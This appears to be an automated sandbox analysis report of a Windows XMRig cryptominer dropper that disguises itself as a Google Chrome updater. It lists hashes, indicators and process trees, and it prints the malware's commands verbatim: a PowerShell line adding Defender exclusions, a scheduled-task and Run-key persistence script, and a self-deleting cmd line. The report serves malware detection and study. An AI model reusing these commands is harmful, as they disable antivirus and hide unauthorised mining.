Resubmissions
04-04-2023 20:30
230404-zadedabg31 1031-03-2023 23:18
230331-3aav2aec79 1031-03-2023 23:17
230331-29745sec77 1031-03-2023 21:58
230331-1vp5cadg64 10Analysis
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max time kernel
1800s -
max time network
1789s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
31-03-2023 23:17
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e.exe
Resource
win7-20230220-en
General
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Target
qM5GMXBk6hJE6Y5e.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exedescription pid process target process PID 3992 created 3076 3992 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 3992 created 3076 3992 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 3992 created 3076 3992 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 3992 created 3076 3992 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 4216 created 3076 4216 updater.exe Explorer.EXE PID 4216 created 3076 4216 updater.exe Explorer.EXE PID 4216 created 3076 4216 updater.exe Explorer.EXE PID 1104 created 3076 1104 conhost.exe Explorer.EXE PID 4216 created 3076 4216 updater.exe Explorer.EXE PID 4216 created 3076 4216 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral2/memory/4952-250-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-253-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-257-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-261-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-263-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-265-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-267-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-269-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-271-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-273-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-275-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-277-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-279-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-281-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-283-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-285-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-287-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-289-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-291-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-293-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-295-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-297-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-299-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-301-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-303-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-305-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-307-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-309-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-311-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig behavioral2/memory/4952-313-0x00007FF680270000-0x00007FF680A64000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 4216 updater.exe -
Processes:
resource yara_rule behavioral2/memory/4952-250-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-253-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-257-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-261-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-263-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-265-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-267-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-269-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-271-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-273-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-275-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-277-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-279-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-281-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-283-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-285-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-287-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-289-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-291-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-293-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-295-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-297-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-299-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-301-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-303-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-305-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-307-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-309-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-311-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx behavioral2/memory/4952-313-0x00007FF680270000-0x00007FF680A64000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 4216 set thread context of 1104 4216 updater.exe conhost.exe PID 4216 set thread context of 4952 4216 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Program crash 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2480 1336 WerFault.exe powershell.exe 3592 1336 WerFault.exe powershell.exe 3972 1336 WerFault.exe powershell.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 3992 qM5GMXBk6hJE6Y5e.exe 3992 qM5GMXBk6hJE6Y5e.exe 2700 powershell.exe 2700 powershell.exe 3992 qM5GMXBk6hJE6Y5e.exe 3992 qM5GMXBk6hJE6Y5e.exe 4488 powershell.exe 4488 powershell.exe 3992 qM5GMXBk6hJE6Y5e.exe 3992 qM5GMXBk6hJE6Y5e.exe 3992 qM5GMXBk6hJE6Y5e.exe 3992 qM5GMXBk6hJE6Y5e.exe 232 powershell.exe 232 powershell.exe 4216 updater.exe 4216 updater.exe 4168 powershell.exe 4168 powershell.exe 4216 updater.exe 4216 updater.exe 1336 powershell.exe 1336 powershell.exe 4216 updater.exe 4216 updater.exe 1104 conhost.exe 1104 conhost.exe 4216 updater.exe 4216 updater.exe 4216 updater.exe 4216 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 652 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2700 powershell.exe Token: SeDebugPrivilege 4488 powershell.exe Token: SeIncreaseQuotaPrivilege 4488 powershell.exe Token: SeSecurityPrivilege 4488 powershell.exe Token: SeTakeOwnershipPrivilege 4488 powershell.exe Token: SeLoadDriverPrivilege 4488 powershell.exe Token: SeSystemProfilePrivilege 4488 powershell.exe Token: SeSystemtimePrivilege 4488 powershell.exe Token: SeProfSingleProcessPrivilege 4488 powershell.exe Token: SeIncBasePriorityPrivilege 4488 powershell.exe Token: SeCreatePagefilePrivilege 4488 powershell.exe Token: SeBackupPrivilege 4488 powershell.exe Token: SeRestorePrivilege 4488 powershell.exe Token: SeShutdownPrivilege 4488 powershell.exe Token: SeDebugPrivilege 4488 powershell.exe Token: SeSystemEnvironmentPrivilege 4488 powershell.exe Token: SeRemoteShutdownPrivilege 4488 powershell.exe Token: SeUndockPrivilege 4488 powershell.exe Token: SeManageVolumePrivilege 4488 powershell.exe Token: 33 4488 powershell.exe Token: 34 4488 powershell.exe Token: 35 4488 powershell.exe Token: 36 4488 powershell.exe Token: SeIncreaseQuotaPrivilege 4488 powershell.exe Token: SeSecurityPrivilege 4488 powershell.exe Token: SeTakeOwnershipPrivilege 4488 powershell.exe Token: SeLoadDriverPrivilege 4488 powershell.exe Token: SeSystemProfilePrivilege 4488 powershell.exe Token: SeSystemtimePrivilege 4488 powershell.exe Token: SeProfSingleProcessPrivilege 4488 powershell.exe Token: SeIncBasePriorityPrivilege 4488 powershell.exe Token: SeCreatePagefilePrivilege 4488 powershell.exe Token: SeBackupPrivilege 4488 powershell.exe Token: SeRestorePrivilege 4488 powershell.exe Token: SeShutdownPrivilege 4488 powershell.exe Token: SeDebugPrivilege 4488 powershell.exe Token: SeSystemEnvironmentPrivilege 4488 powershell.exe Token: SeRemoteShutdownPrivilege 4488 powershell.exe Token: SeUndockPrivilege 4488 powershell.exe Token: SeManageVolumePrivilege 4488 powershell.exe Token: 33 4488 powershell.exe Token: 34 4488 powershell.exe Token: 35 4488 powershell.exe Token: 36 4488 powershell.exe Token: SeIncreaseQuotaPrivilege 4488 powershell.exe Token: SeSecurityPrivilege 4488 powershell.exe Token: SeTakeOwnershipPrivilege 4488 powershell.exe Token: SeLoadDriverPrivilege 4488 powershell.exe Token: SeSystemProfilePrivilege 4488 powershell.exe Token: SeSystemtimePrivilege 4488 powershell.exe Token: SeProfSingleProcessPrivilege 4488 powershell.exe Token: SeIncBasePriorityPrivilege 4488 powershell.exe Token: SeCreatePagefilePrivilege 4488 powershell.exe Token: SeBackupPrivilege 4488 powershell.exe Token: SeRestorePrivilege 4488 powershell.exe Token: SeShutdownPrivilege 4488 powershell.exe Token: SeDebugPrivilege 4488 powershell.exe Token: SeSystemEnvironmentPrivilege 4488 powershell.exe Token: SeRemoteShutdownPrivilege 4488 powershell.exe Token: SeUndockPrivilege 4488 powershell.exe Token: SeManageVolumePrivilege 4488 powershell.exe Token: 33 4488 powershell.exe Token: 34 4488 powershell.exe Token: 35 4488 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid process target process PID 208 wrote to memory of 4324 208 cmd.exe choice.exe PID 208 wrote to memory of 4324 208 cmd.exe choice.exe PID 232 wrote to memory of 3908 232 powershell.exe schtasks.exe PID 232 wrote to memory of 3908 232 powershell.exe schtasks.exe PID 4216 wrote to memory of 1104 4216 updater.exe conhost.exe PID 3544 wrote to memory of 3224 3544 cmd.exe WMIC.exe PID 3544 wrote to memory of 3224 3544 cmd.exe WMIC.exe PID 4216 wrote to memory of 4952 4216 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1336 -s 24163⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1336 -s 21163⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1336 -s 24763⤵
- Program crash
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 368 -p 1336 -ip 13361⤵
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 424 -p 1336 -ip 13361⤵
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 528 -p 1336 -ip 13361⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5440cb38dbee06645cc8b74d51f6e5f71
SHA1d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA2568ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
